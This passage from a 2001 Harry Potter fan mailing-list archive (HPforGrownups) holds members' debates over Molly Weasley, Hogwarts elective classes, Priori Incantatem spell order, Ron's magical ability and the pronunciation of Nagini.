> > Attention everyone! Before posting, you must read our netiquette tips at
> >
>http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquetteTI
>PS.htm
> >
> > You should also read the Very Frequently Asked Questions file (VFAQ) at
> > http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.htm
>and check out our FAQ-based essays at:
>http://www.i2k.com/~svderark/lexicon/faq/
> >
> > For more details or help, contact your personal List Elf or the Moderator
>Team at hpforgrownups-owner at yahoogroups.com.
> >
> > Want to leave this list? Email hpforgrownups-unsubscribe at yahoogroups.com
> >
> > Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/
> >
> >
> >
>
>
>
>_______ADMIN________HPFGU_______ADMIN__________
>
>Attention everyone! Before posting, you must read our netiquette tips at
>http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquetteTIPS.htm
>
>You should also read the Very Frequently Asked Questions file (VFAQ) at
>http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.htm 
>and check out our FAQ-based essays at: 
>http://www.i2k.com/~svderark/lexicon/faq/
>
>For more details or help, contact your personal List Elf or the Moderator 
>Team at hpforgrownups-owner at yahoogroups.com.
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-- 
Deeblite
WTF is an acronym?




From himitsu_seren at yahoo.ca  Sun Sep  9 16:27:49 2001
From: himitsu_seren at yahoo.ca (himitsu_seren at yahoo.ca)
Date: Sun, 09 Sep 2001 16:27:49 -0000
Subject: Molly Weasley A very powerful witch
In-Reply-To: <9nfutk+5v3r@eGroups.com>
Message-ID: <9ng5a5+vmm4@eGroups.com>

No: HPFGUIDX 25820

--- In HPforGrownups at y..., dasienko at e... wrote:
> Molly is a powerful witch, no matter what she did before marrying 
> Arthur. She has done the most magical thing of all--she has borne 
and 
> raised children who are caring,loyal and loving.

I agree, and as is shown with Lily Potter and her son, love can be 
the most powerful magic of all.

-S




From dkgrubb at earthlink.net  Sun Sep  9 16:31:09 2001
From: dkgrubb at earthlink.net (dkgrubb at earthlink.net)
Date: Sun, 09 Sep 2001 16:31:09 -0000
Subject: Elective Classes
In-Reply-To: <4.2.0.58.20010909074348.00abcca0@mail.mcn.org>
Message-ID: <9ng5gd+sfi8@eGroups.com>

No: HPFGUIDX 25821


> Can't you just see Draco and his goons smoking behind the bike 
> sheds?  Nah.  Me neither.  No one seems to smoke (hurrah!) - even in the 
> pubs.  Traveling from California, land of the smoke-free bars and 
> restaurants, and touring in the UK, it's hard to imagine that none of the 
> teachers smoke nor do any of the kids.  Sound good to me!  I'll bet Madam 
> Maxine has some of those nasty galouse cigarettes tucked away.
> 
> Catherine in foggy Albion, CA

I think the Three Broomsticks is described at least once as "smoky", 
although no one in particular seems to smoke.  Maybe only the goblins 
and ogres do so. ;)

Debra, also in smoke free california.





From sgallag4 at hotmail.com  Sun Sep  9 16:37:19 2001
From: sgallag4 at hotmail.com (sgallag4 at hotmail.com)
Date: Sun, 09 Sep 2001 16:37:19 -0000
Subject: C.R.A.B. - SB Strange Behavior - PoA ad - PP house - Fudge under control
In-Reply-To: <9nfp21+5vq8@eGroups.com>
Message-ID: <9ng5rv+ergq@eGroups.com>

No: HPFGUIDX 25822

> When I first read the books, I was wondering if Ron might be 
> something close to a squib.  I can't think of very many instances in 
> which Ron proves a talent in a particular branch of magic.  He has 
> trouble on Lupin DADA exam and can't throw off the Imperius curse.  I 
> don't think he's ever transfigured anything.  His Banished cushions 
> don't land in the bin.  He makes up his divination homework.  He 
> invents goblins on the test.  Nothing good ever happens to Ron in 
> Potions.  He isn't good enough at Quiddich to make the house team, 
> even by his third year.  He can't even land on the cushions when 
> stunned, for cryin' out loud.  He's good at chess, but even Muggles 
> are good at chess.

Keep in mind that in PS/SS and CS, Ron is using a hand me down wand 
that is not necessarily properly suited to him, and therefore, it 
possibly even inhibited his magical abilities. As to the other 
points:  No one except Harry is able to throw off the Imperius Curse, 
the only student who has real success at Transfiguration is Hermione, 
nothing good seems to happen to ANY Gryffindor in Potions, we have no 
idea if Ron even tried out for the House team--or whether tryouts were 
even held, and even Harry makes up his Divination homework.

In other words, Ron seems like a perfectly normal, average Hogwarts 
student--not a Squib.

Suz





From frantyck at yahoo.com  Sun Sep  9 17:41:11 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Sun, 09 Sep 2001 17:41:11 -0000
Subject: Priori Incantantem/Deletrius
In-Reply-To: <9nft66+t147@eGroups.com>
Message-ID: <9ng9jn+497a@eGroups.com>

No: HPFGUIDX 25823

--- In HPforGrownups at y..., "Steve Vander Ark" <vderark at b...> wrote:
> Just a note: the spell cast on the wand in the woods to reveal the 
> spells it had cast was NOT exactly the same thing as the Priori 
> Incantatem effect. The first one is Prior Incantato, a spell which 
is 
> cast. When wands which are "brothers" fight each other, the result 
is 
> not a spell cast but an "effect," called Priori Incantatem. This 
> effect would NOT be reversable by a simple spell, since it's not a 
> spell itself.
> 
> Steve Vander Ark
> The Harry Potter Lexicon
> http://www.i2k.com/~svderark/lexicon


Maybe, but isn't "Priori Incantatem" merely the Latin plural 
of "Prior Incantato?" The first time, in the woods after the QWC, 
Amos Diggory is checking what the *last* spell cast by the wand was. 
At the end of GoF, it is a plural number of spells that are 
revealed/undone. I think the two are very similar, actually.




From Aberforths_Goat at Yahoo.com  Sun Sep  9 18:21:14 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Sun, 9 Sep 2001 20:21:14 +0200
Subject: Heterodoxy (was Priori Incantantem/Deletrius)
References: <9nfssv+cjpn@eGroups.com>
Message-ID: <033b01c1395c$361a1ce0$e500a8c0@shasta>

No: HPFGUIDX 25824

Steve confided,

> I think for me, this whole thing was a bit of a turning point. [....]
>
> So now I don't expect quite the cleverness from JKR that I once did.
> Now, for example, when we start discussing which house people were
> in, I just figure it's Gryffindor, because it almost certainly is.
> EVERYONE'S in Gryffindor. Whatever. When people express fond hopes
> that Draco might be "redeemed," I don't bother reading them. He won't
> be. He's just a stereotype, part of a House that's just a stereotype.

Steve, this sounds like sedition! I'm beginning to wonder it's time to elect
a board of inquisitors to deal with such scandalous thoughts. (Burning
emails may prove a little difficult, though ... ) <cynical grin>

Seriously, though: I am a little surprised. That's a pretty dark take on
Rowling's artistic vision! I find the houses' apparent moral polarity
disturbing. However, I have a hunch (or is it just a wish?) that Jo is too
good a story teller - and has too much real life under her belt - to keep
from turning a table or two at some point. In any case, the opera definitely
ain't over till the Fat Lady sings. (Or the Bloody Baron, as the case may be
... )

But the various bungles in the priori incantatem narrative seem (to me) more
like errors of haste and distraction than evidence of a shallow artistic
vision. I think Rowling put herself under way too much pressure to finish
GoF for a predetermined deadline, which lead to a generous collection of
Flints and plot holes.

I also have a hunch that Jo knows this better than anyone else - and my
guess is that it isn't a pleasant feeling. I'm convinced that she can do
better than GoF, and I think she will. I see some evidence of this in her
refusal to set any dates on OoP. I'm  looking forward to seeing in OoP the
sort plotting we got in PoA: some confusion around some of the details (on
the level of our Marauder's Map Mysteries) but a tight, sound and compelling
plot.

Or am I just an incurable romantic?

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From frantyck at yahoo.com  Sun Sep  9 18:17:29 2001
From: frantyck at yahoo.com (frantyck at yahoo.com)
Date: Sun, 09 Sep 2001 18:17:29 -0000
Subject: Nagini pronunciation; SuperMolly
In-Reply-To: <9kalr3+jcd2@eGroups.com>
Message-ID: <9ngbnp+h4o4@eGroups.com>

No: HPFGUIDX 25825

This is in response to the current Molly W. thread and two of the 
several questions raised by mcandrew in message 23427.

--- In HPforGrownups at y..., mcandrew at b... wrote:
> 2) Chap 36, Parting of the Ways. (p. 617-8 UK) At Harry's hospital 
> bedside after the third task, Sirius and Snape are introduced to 
each 
> other by Dumbledore - but not until Madam Pomfrey has left the room 
> and is out of hearing.  Obviously he doesn't trust her as he does 
> Snape or Molly Weasley, who is still present.  Yet Pomfrey is a 
> highly respected member of Dumbledore's handpicked staff. So why is 
> she regarded as so much less trustworthy than some of the others? 

It struck me as interesting that Molly Weasley remains in the room 
while others do not. A few reasons: Molly's family is to be closely 
involved in the fight against Voldemort; her husband was clearly one 
of the "old crowd" and her three older sons will be directly in the 
line of fire now. She should know early what is going on. Molly and 
Bill Weasley also came to Hogwarts as Harry's default family in GoF, 
and Harry is at the centre of the Voldemort trouble and can expect to 
be in especial danger. Ron Weasley is Harry's closest friend. Sirius 
is the other half, so to speak, of Harry's existing family, and his 
guardian. As family, the Weasleys must all know what is at stake.

(Luke/caliburncy made a similar point in message 23486.)

Or she might just be SuperMolly:

Dumbledore shows her respect when he says (GoF 36) "Molly ... am I 
right in thinking that I can count on you and Arthur?"
"Of course you can," said Mrs Weasley. She was white to the lips, but 
she looked resolute.

> 5) Pronunciation: I don't find this much of a problem generally, 
but 
> the name 'Nagini' usually causes a hiccup when reading aloud to my 
> son.  I've settled on pronouncing it with an elongated 'a', a 
> soft 'g' and the accent on the second syllable.  Would you agree?

It is not a soft "g." Nag in Hindi or Sanskrit means snake, Nagini is 
a female snake. It should be pronounced Naaginee, with no stressed 
syllable. Join together the relevant portions of "Narnia", "gift" 
and "neat."




From vheggie at yahoo.com  Sun Sep  9 18:45:27 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Sun, 09 Sep 2001 18:45:27 -0000
Subject: The Keeper of the Keys
In-Reply-To: <5.1.0.14.0.20010909115757.00b8a470@netmail.home.com>
Message-ID: <9ngdc7+7q15@eGroups.com>

No: HPFGUIDX 25826

--- In HPforGrownups at y..., Deeblite <deeblite at h...> wrote:
> At 09:00 PM 9/8/2001 +0100, you wrote:
> >Likewise, what does the games keeper mean??
> 
[snip post and bumpf]

Is it 'gameS keeper' or 'game keeper'?
Game keeper is the term used to refer to anyone who manages the 
(largely non-farming) livestock on an estate (grounds which are 
usually attached to a large family home, palace, or castle, although 
many public and private parks employ them as well).
I believe 'game' refers to 'hunting game' - e.g. pheasants, pigeons, 
deer, grouse, rabbits, etc.  A Game keeper's job is to care for and 
maintain an estate's stock of animals for hunting (this may include 
fish stocks) and to keep down the numbers of predators within the 
grounds (foxes etc).

I don't recognise the phrase 'gameS keeper', and can only assume it's 
a typo somewhere, or, quite simply, it refers to someone who looks 
after the 'games/sports equipment' (who guards the brooms at Hogwarts 
then?....)




From vderark at bccs.org  Sun Sep  9 18:57:03 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Sun, 09 Sep 2001 18:57:03 -0000
Subject: Nagini pronunciation; SuperMolly
In-Reply-To: <9ngbnp+h4o4@eGroups.com>
Message-ID: <9nge1v+egbk@eGroups.com>

No: HPFGUIDX 25827

--- In HPforGrownups at y..., frantyck at y... wrote:

> It struck me as interesting that Molly Weasley remains in the room 
> while others do not. A few reasons: Molly's family is to be closely 
> involved in the fight against Voldemort; her husband was clearly 
one 
> of the "old crowd" 

More than that! Molly herself is obviously part of the "old crowd."

But should she be? I find the character of Molly to be a bit 
confusing. I really, really liked her until GF, but then her 
ridiculous snubbing of Hermione threw me. She is so easily twisted by 
the words of Rita Skeeter, who her husband and other family members 
all know to be untrustworthy (to say the least). How can Dumbledore 
trust her not to be swayed by someone as sinisterly dangerous as 
Voldemort? I suppose it's yet another example of a Flint in GF, 
right? Please, someone figure out some logical way to explain such an 
absurd story element.


Steve "The Cynic" Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From klhurt at yahoo.com  Sun Sep  9 19:06:12 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sun, 9 Sep 2001 12:06:12 -0700 (PDT)
Subject: [HPforGrownups] Re: Elective Classes
In-Reply-To: <9ne9k9+uit0@eGroups.com>
Message-ID: <20010909190612.68508.qmail@web14206.mail.yahoo.com>

No: HPFGUIDX 25828

1. Transfiguration
2. Charms
3. Care of Magical Creatures
4. Potions
5. History of Magic
6. Astronomy
7. Herbology
8. DADA
9. Divination

Thanks for this exam list.

Divination is the only listed elective.  All the other classes were
mentioned in some way shape or form before PoA, so we still don't know
what the second elective is.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sun Sep  9 19:14:19 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sun, 9 Sep 2001 12:14:19 -0700 (PDT)
Subject: [HPforGrownups] Re: Elective Classes
In-Reply-To: <9necsd+iu4k@eGroups.com>
Message-ID: <20010909191419.42488.qmail@web14203.mail.yahoo.com>

No: HPFGUIDX 25829

--- Aleks <aleksrothis at yahoo.co.uk> wrote:

>Also, going back to the original
>question I thought that Care of
>Magical Creatures was their other
>elective as when they were making
>their choices  in CoS (UK paperback
>p187) Percy says that, "My brother
>Charlie...went for Care of Magical
>Creatures."

Hmmm.  If Care of Magical Creatures is, in fact, an elective:

1) Why did Harry need _Fantastic Beasts..._ for his first year? 

2) Why didn't Malfoy quit after the Buckbeak incident?

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sun Sep  9 19:27:33 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sun, 9 Sep 2001 12:27:33 -0700 (PDT)
Subject: [HPforGrownups] Re: Priori Incantantem/Deletrius
In-Reply-To: <9nfohb+li57@eGroups.com>
Message-ID: <20010909192733.44024.qmail@web14203.mail.yahoo.com>

No: HPFGUIDX 25830

>>because the spell that rebounded onto
>>V didn't come out of V's wand in the >>graveyard scene.
>
>The Imperio curse, however, does not
>come out of Voldemort's wand in the
>Priori Incantantem scene.

I don't think I understand what anyone expected to see to represent
these curses.

Kelly the Yarn Junkie


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From klhurt at yahoo.com  Sun Sep  9 19:31:02 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sun, 9 Sep 2001 12:31:02 -0700 (PDT)
Subject: Ron
In-Reply-To: <9nfp21+5vq8@eGroups.com>
Message-ID: <20010909193102.90551.qmail@web14208.mail.yahoo.com>

No: HPFGUIDX 25831

--- cynthiaanncoe at home.com wrote:

>[Ron] isn't good enough at Quiddich to
>make the house team, even by his third
>year.

Cedric didn't make the team 'til his 5th year & then was immediately
made captain.

Kelly the Yarn Junkie


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From vheggie at yahoo.com  Sun Sep  9 19:36:07 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Sun, 09 Sep 2001 19:36:07 -0000
Subject: Elective Classes (or US education system =/= UK education system)
In-Reply-To: <20010909190612.68508.qmail@web14206.mail.yahoo.com>
Message-ID: <9nggb7+j0mr@eGroups.com>

No: HPFGUIDX 25832

[snip]
> 
> Divination is the only listed elective.  All the other classes were
> mentioned in some way shape or form before PoA, so we still don't 
know
> what the second elective is.
> 
[snip]

It's possible to drop subjects at 14 in the UK; just because Harry 
etc have studied something previously, there is no reason to assume 
they must necessarily continue to do so post-14.
There will probably be 5 or so 'core subjects' which everyone must 
take, and all the remainder will effectively be 'electives'; whilst 
Harry has continued to study all his old subjects, it's possible that 
less 'successful' students (*coughs* Neville?  Crabbe and Goyle?) may 
drop old subjects, rather than take on new ones. 




From Indyfans at aol.com  Sun Sep  9 20:14:45 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Sun, 9 Sep 2001 16:14:45 EDT
Subject: [HPforGrownups-fanfic, sugarquill, recommendations?
Message-ID: <c1.1392d555.28cd27b5@aol.com>

No: HPFGUIDX 25833

Based on several enthusiastic recommendations here, I read RJ Anderson's 
trilogy on Professor Snape- I get it, now!! It was so intelligent, just 
fabulous.  ****Do you all have any other recommendations for other good HP 
stories?  I'm going out of my gourd thinking of how long we have to wait for 
#5!   Thanks! Jen



From prefectmarcus at yahoo.com  Sun Sep  9 20:59:28 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Sun, 09 Sep 2001 20:59:28 -0000
Subject: Chill out, guys (re: Priori Incantantem )
Message-ID: <9ngl7g+cpgf@eGroups.com>

No: HPFGUIDX 25834

Let's see now, Harry has an injured leg, got teleported to a spooky 
cemetery, just witnessed a murder, was tied-up and gagged and sliced 
to help bring Voldemort back to life, endured the excruciating pain 
of Voldemort's touch, endured the Cruciatus Curse, forced to be a 
catspaw of a psycho, tied to that psycho with a beam of light, 
concentrating with all his might on the beads of light, hearing the 
death eaters prowling around the cage like wolves for his blood, and 
seeing all these ghosts pop out of Voldemmor's wand, including his 
long-lost parents

Don't you think that he possibly just might, maybe, perhaps not catch 
ever single detail of what is going on?

Marcus






From captain_debrowe at yahoo.com  Sun Sep  9 21:31:10 2001
From: captain_debrowe at yahoo.com (Danette Schardt-Cordova)
Date: Sun, 9 Sep 2001 14:31:10 -0700 (PDT)
Subject: [HPforGrownups] Re: Elective Classes 
In-Reply-To: <9nggb7+j0mr@eGroups.com>
Message-ID: <20010909213110.62891.qmail@web14404.mail.yahoo.com>

No: HPFGUIDX 25835

No, I distinctly recall that when they were choosing
the extra classes one of the Trio (I think Ron) said
something to the effect of "It's too bad we can't drop
any classes because if we could I would stop taking
Potions." or something to that effect.  Therefore it
is not possible for them to drop any of the "core
classes" that they start their education with.

Danette

--- vheggie at yahoo.com wrote:
> It's possible to drop subjects at 14 in the UK; just
> because Harry 
> etc have studied something previously, there is no
> reason to assume 
> they must necessarily continue to do so post-14.
> There will probably be 5 or so 'core subjects' which
> everyone must 
> take, and all the remainder will effectively be
> 'electives'; whilst 
> Harry has continued to study all his old subjects,
> it's possible that 
> less 'successful' students (*coughs* Neville? 
> Crabbe and Goyle?) may 
> drop old subjects, rather than take on new ones. 
> 
> 


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From jkusalavagemd at yahoo.com  Sun Sep  9 21:53:10 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sun, 09 Sep 2001 21:53:10 -0000
Subject: Nagini pronunciation; SuperMolly
In-Reply-To: <9nge1v+egbk@eGroups.com>
Message-ID: <9ngoc6+att5@eGroups.com>

No: HPFGUIDX 25836

--- In HPforGrownups at y..., "Steve Vander Ark" <vderark at b...> wrote:
> --- In HPforGrownups at y..., frantyck at y... wrote:

>
> More than that! Molly herself is obviously part of the "old crowd."
>
> But should she be? I find the character of Molly to be a bit
> confusing. I really, really liked her until GF, but then her
> ridiculous snubbing of Hermione threw me. She is so easily twisted
by
> the words of Rita Skeeter,


I really think that JKR was merely trying to show the harm that
Skeeter could do, rather than to depict Molly as a bubblehead.  One
can make the argument, however, that even the brightest and most
levelheaded individuals have some blindspot, and "Witch Weekly", the
supermarket checkout line magazine of the wizarding world, may be
Molly's.  Another argument (This is my pet theory!) is that Molly and
Arthur are an undercover husband and wife team of Unspeakables, and
Molly was keeping in character for her cover assignment.

Haggridd




From catherine at cator-manor.demon.co.uk  Sun Sep  9 22:12:27 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Sun, 09 Sep 2001 22:12:27 -0000
Subject: C.R.A.B. - SB Strange Behavior - PoA ad - PP house - Fudge under control
In-Reply-To: <9nfp21+5vq8@eGroups.com>
Message-ID: <9ngpgb+vnt5@eGroups.com>

No: HPFGUIDX 25837

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
I was wondering if Ron might be 
> something close to a squib.  I can't think of very many instances 
in 
> which Ron proves a talent in a particular branch of magic.  He has 
> trouble on Lupin DADA exam and can't throw off the Imperius curse.  
I 
> don't think he's ever transfigured anything.  His Banished cushions 
> don't land in the bin.  He makes up his divination homework.  He 
> invents goblins on the test.  Nothing good ever happens to Ron in 
> Potions.  He isn't good enough at Quiddich to make the house team, 
> even by his third year.  He can't even land on the cushions when 
> stunned, for cryin' out loud.  He's good at chess, but even Muggles 
> are good at chess.


Now, I think a few people out there know that I'm not the biggest Ron 
fan out there, but I don't think that what you're saying is entirely 
fair.  I don't believe that Ron is even close to being a squib.  He 
suffers in the first couple of years of school with a wand which 
didn't "choose" him at best, and at worst, was snapped in half and 
malfunctioning.

As far as his lessons are concerned - we don't know enough to judge.  
For example, the making up stuff in History of Magic - how do we know 
that's not just some off-hand comment many teenage boys would make to 
seem cool?

Potions:  JKR particularly mentions how meticulous Ron's approach is 
with his ingredients preparation.

Charms:  True, he did get Wingardiam leviosa wrong, but had managed 
to perfect it in time to use it on the troll's club in order to knock 
it out - not only having the strength of mind to make it fly, but to 
direct it adequately.

DADA:  Against the boggart, he managed to overcome his fear of 
spiders (made worse by the encounter with Aragog in the previous 
year) in order to help defeat it (loss of spiders etc.)

I can't think of many more examples, but I think that the above shows 
that he shouldn't be written off academically/magically just yet.

Catherine, who can't believe that she is actually writing a post in 
defence of Ron!




From cynthiaanncoe at home.com  Sun Sep  9 22:28:46 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 09 Sep 2001 22:28:46 -0000
Subject: Priori Incantantem/Deletrius
In-Reply-To: <9nfssv+cjpn@eGroups.com>
Message-ID: <9ngqeu+ahv2@eGroups.com>

No: HPFGUIDX 25838

Cindy wrote:> 
> > So I (and I seem to be entirely alone in this) still think we 
need 
> to 
> > re-think the idea in the Lexicon that the corrected wand order 
> scene 
> > means that someone killed James and Lilly with Voldemort's wand 
> after 
> > Voldemort tried to kill Harry.  
> 
Steve wrote:

> I am absolutely sure that JKR intended the Priori Incantatem scene 
to 
> read just like we all assumed it did when we first read it: that 
the 
> spells that came out matched the backstory we read in SS and 
> receieved hints to in PA. I am sure that she intends for James to 
> have been killed first, at the door, then Lily to have been killed 
> protecting Harry, then the spell rebounding on Voldemort. The 
Lexicon 
> page that you're referring to is intended to point out that THAT 
> ISN'T WHAT THE TEXT IN GF LITERALLY SAYS. In other words, it's a 
huge 
> Flint. 


I certainly understand that the wand order issue has been done to 
death, Steve, and I appreciate your taking the time to weigh in on it 
once again.  I hope I'm not out of bounds here, and I didn't intend 
any criticism of the Lexicon.  I certainly do not have the background 
knowledge of the books and wand order issue that others do.  Indeed, 
at the time these wand order errors were being discovered, agonized 
over and corrected, I hadn't even read the books.  So, as with 
anything else, I could be all wet.

But as I read the FAQs and Lexicon, there seemed to be a strongly 
held feeling that the text necessarily means James and Lily were 
killed with V's wand after V attacked Harry.  Indeed, the following 
question is posed:  "Who, if Voldemort was unable to cast a spell, 
killed James and Lily Potter?"  In the FAQs, the question is 
phrased:  "The spells that killed James and Lily Potter must have 
been performed after the one that dispatched Voldemort."

My point was just that there is a reasonable answer that I hope is 
consistent with canon:  that failed spells don't emerge under Priori 
Incantatem, so the wand order scene as re-written isn't inconsistent 
with JKR's intent that Lily and James died before the attack on Harry.

I guess that this all can be viewed in one of two ways.  First, one 
could decide that the whole wand order thing was badly botched, and 
you can't make any real conclusions about anything from it as a 
result.  In that case, it seems odd to say that the canon supports 
the statement that "The evidence that we do have from the Priori 
Incantatem suggests that James and Lily were killed using Voldemort's 
wand AFTER Voldemort attacked Harry."

The other possibility is that JKR fixed the only error in the scene 
(the James and Lily reversal), and the rest of the wand order scene 
is the way she wants it to be.  In that case, it's fair game to 
attempt to figure out what is going on.  For someone like me who 
thinks there's a reasonable basis for concluding that failed spells 
don't get regurgitated, then it might overstate the case a bit to say 
that canon definitely supports the conclusion that James and Lily 
were killed after the attack on Harry.

Anyway, I surely agree that JKR must have learned from the 
embarrassing errors in GoF, and I'm sure she'll be quite careful with 
OoP. 

Cindy 




From caliburncy at yahoo.com  Sun Sep  9 23:33:52 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 09 Sep 2001 23:33:52 -0000
Subject: Ron
In-Reply-To: <20010909193102.90551.qmail@web14208.mail.yahoo.com>
Message-ID: <9ngu90+qko7@eGroups.com>

No: HPFGUIDX 25839

Luke's "Point of Order" of the day (Sorry, I'm too tired to write 
posts of substance recently and therefore have been resorting to 
random nitpicks):

--- In HPforGrownups at y..., Kelly Hurt <klhurt at y...> wrote:
> Cedric didn't make the team 'til his 5th year & then was immediately
> made captain.

If you have made this inference from the sentence in POA (Chapter 9, 
Page 168 U.S. Hardcover) which reads "They've [referring 
to Hufflepuff's Quidditch team] got a new Captain and Seeker, Cedric 
Diggory" then it's quite a reasonable one and you may be right, but 
there are two viable alternatives:
1) The "new" refers only to his being made captain and he was already 
on the team as seeker.
2) The "new" refers both to his being made captain and seeker, but he 
was previously on the team under a different position.  (He certainly 
isn't quite normal seeker build so perhaps he started out playing a 
heavier position like chaser or keeper and then filled in at the 
loss of the previous seeker.)

Anyway, just pointing out the possibility.  I may also have overlooked 
some more conclusive canon evidence.

-Luke




From caliburncy at yahoo.com  Mon Sep 10 00:17:25 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 10 Sep 2001 00:17:25 -0000
Subject: Nagini pronunciation; SuperMolly
In-Reply-To: <9nge1v+egbk@eGroups.com>
Message-ID: <9nh0ql+ar2k@eGroups.com>

No: HPFGUIDX 25840

First off, apologies to all on my previous post (Re: Ron) in that I 
meant to change the subject line so that it reflected the actual 
content (canon evidence for Cedric Diggory not joining the team until 
his fifth year), but forgot to until, well, it was too late.

Now then,

--- In HPforGrownups at y..., "Steve Vander Ark" <vderark at b...> wrote:
> I find the character of Molly to be a bit 
> confusing. I really, really liked her until GF, but then her 
> ridiculous snubbing of Hermione threw me. She is so easily twisted 
by 
> the words of Rita Skeeter, who her husband and other family members 
> all know to be untrustworthy (to say the least). How can Dumbledore 
> trust her not to be swayed by someone as sinisterly dangerous as 
> Voldemort? I suppose it's yet another example of a Flint in GF, 
> right? Please, someone figure out some logical way to explain such 
an 
> absurd story element.

A flint?  No.  I think what you mean is it seems to you to violate the 
creative writing concept sometimes called the "Would he really?" test. 
 I'm sure there are other names for this concept (i.e. character 
violation), not to mention the fact that in this case it's "Would SHE 
really?"--but, anyway, what that means is when a character does 
something that doesn't seem to fit your perception of how they would 
act.  When this happens you must either 1) re-evaluate the character 
given the new evidence and draw a different conclusion about that 
character or 2) conclude that the new evidence is simply poor writing 
and the author doesn't seem to have a firm grasp on his or her 
character.

But is this actually a character violation or not?  Is it credible for 
Molly to blindly accept what Rita Skeeter says about Hermione, when 
she knows Rita is generally full of it?  Actually, I kind of think it 
is.  Unfortunately, I can't offer you proof.  The "Would he/she 
really?" test is just an abstract notion of a writer's tool, there's 
nothing scientific about, of course--the only way to really "test" if 
it was successful would be rule of majority, I guess.  But anyway, 
this is why I think it could pass the test.

This particular article (Harry Potter's Secret Heartache or whatever 
it was called) could seem different from the others Rita Skeeter 
writes slandering the Ministry or Dumbledore or Hagrid's 
half-giantness.  It's not as obviously political news with a hidden 
agenda.  Just like the first Harry article about the tournament seemed 
to lack a hidden agenda.  Rita Skeeter could seem to be on Harry's 
side (not just manipulating tabloid-style gossip-news to her own 
benefit, which is what she is really doing) and we know Molly is on 
Harry's side too.  She is very maternal toward Harry and while we know 
she must have previously thought well of Hermione because she was Ron 
and Harry's friend, we really don't have any proof that she is AS 
maternal toward Hermione.  In other words, I believe if she had to 
take sides, she would take Harry's.  And the article seems plausible 
enough for someone as removed from the context as Molly is:

1) Harry and Hermione are friends, which could easily evolve into them 
dating.
2) If you believe in an 'Hermione likes Harry' subtext in the books (I 
don't see much of one, but whatever) then Molly surely might pick up 
on that, lending further inclination to believe 1)
3) Molly may not know Hermione well enough to feel she can 
fully predict her actions.  Sure Hermione has been to the Weasley 
house, but that doesn't automatically mean Molly would feel she knew 
Hermione's personality as backwards-and-forwards as her own kids or 
Harry.  So when she reads that article about Hermione's portrayal, her 
thoughts are undoubtedly something like:  "(spots Harry's name in 
the magazine, perhaps doesn't even catch the writer's name) Oh my God! 
 Poor Harry!  How could Hermione do that to him?  I thought she was 
such a nice girl.  Would she really do that?  No I'm sure she 
wouldn't.  Well, maybe, I guess I don't know.  Poor Harry!"
4) Even if she initially questions the veracity of the article (which 
she may or may not have done), the more she would think about it, the 
more she would come to believe that it is possible, even if she didn't 
previously think Hermione might do that.  There's a lot of power to 
suggestion.

Lastly, notice she can't bring herself to change her opinion of 
Hermione completely.  She still sends her a present, just a smaller 
one.

Okay, incredibly lame explanation and I give up.  At some point 
recently I seem to have lost my ability to form a nice, coherent post.

-Luke




From caliburncy at yahoo.com  Mon Sep 10 00:39:08 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 10 Sep 2001 00:39:08 -0000
Subject: Harry not catching details (was Re: Chill out, guys)
In-Reply-To: <9ngl7g+cpgf@eGroups.com>
Message-ID: <9nh23c+g8mq@eGroups.com>

No: HPFGUIDX 25841

$%#^%! I did it again!  After apologizing for forgetting to change the 
heading to reflect the content shift in that 'Re: Ron' post, I 
promptly did the same thing again in my last post.  Despite the 
unchanged subject, it bears no mention of how to pronounce Nagini, nor 
is it really about SuperMolly per se, it's just in answer to Steve's 
comments about Molly which were asked under that same subject.  Grr!  
Sorry again!!!  At least this one is done right.

--- In HPforGrownups at y..., prefectmarcus at y... wrote:

(snip description of all manner of Harry-trauma in the graveyard scene 
of GOF)
 
> Don't you think that he possibly just might, maybe, perhaps not 
> catch ever single detail of what is going on?

This is a valid enough point except that technically it would seem to 
violate the Authorial Theory of Misinformation (I *really* need to 
explain what that is one of these days).  Anyway, what I mean in this 
particular context, is that the details we receive here are dependent 
upon the perspective/accuracy/veracity of the third person, 
limited-omniscient narrator and not upon Harry.  The details he would 
or would not notice are irrelevant provided that he was in fact 
present at the time.  We have no precedent to show that the narrator 
ever leaves out concrete fact because Harry might not have noticed 
provided he was there.

There ARE books where third person, limited-omniscient narrators leave 
out details even when the character is capable of witnessing them, 
even ones that outright lie, despite the fact that they're not even 
characters.  But there is no reason to believe that the HP narrator 
fits into this category.

Please ask me to elucidate if I didn't explain this well.

-Luke




From catherine at cator-manor.demon.co.uk  Mon Sep 10 00:44:33 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Mon, 10 Sep 2001 00:44:33 -0000
Subject: Werewolves
Message-ID: <9nh2dh+evcp@eGroups.com>

No: HPFGUIDX 25842

Hi all,
We've been looking at the Forbidden Forest recently, which gives me 
the opportunity to bring up something I have asked before, and not 
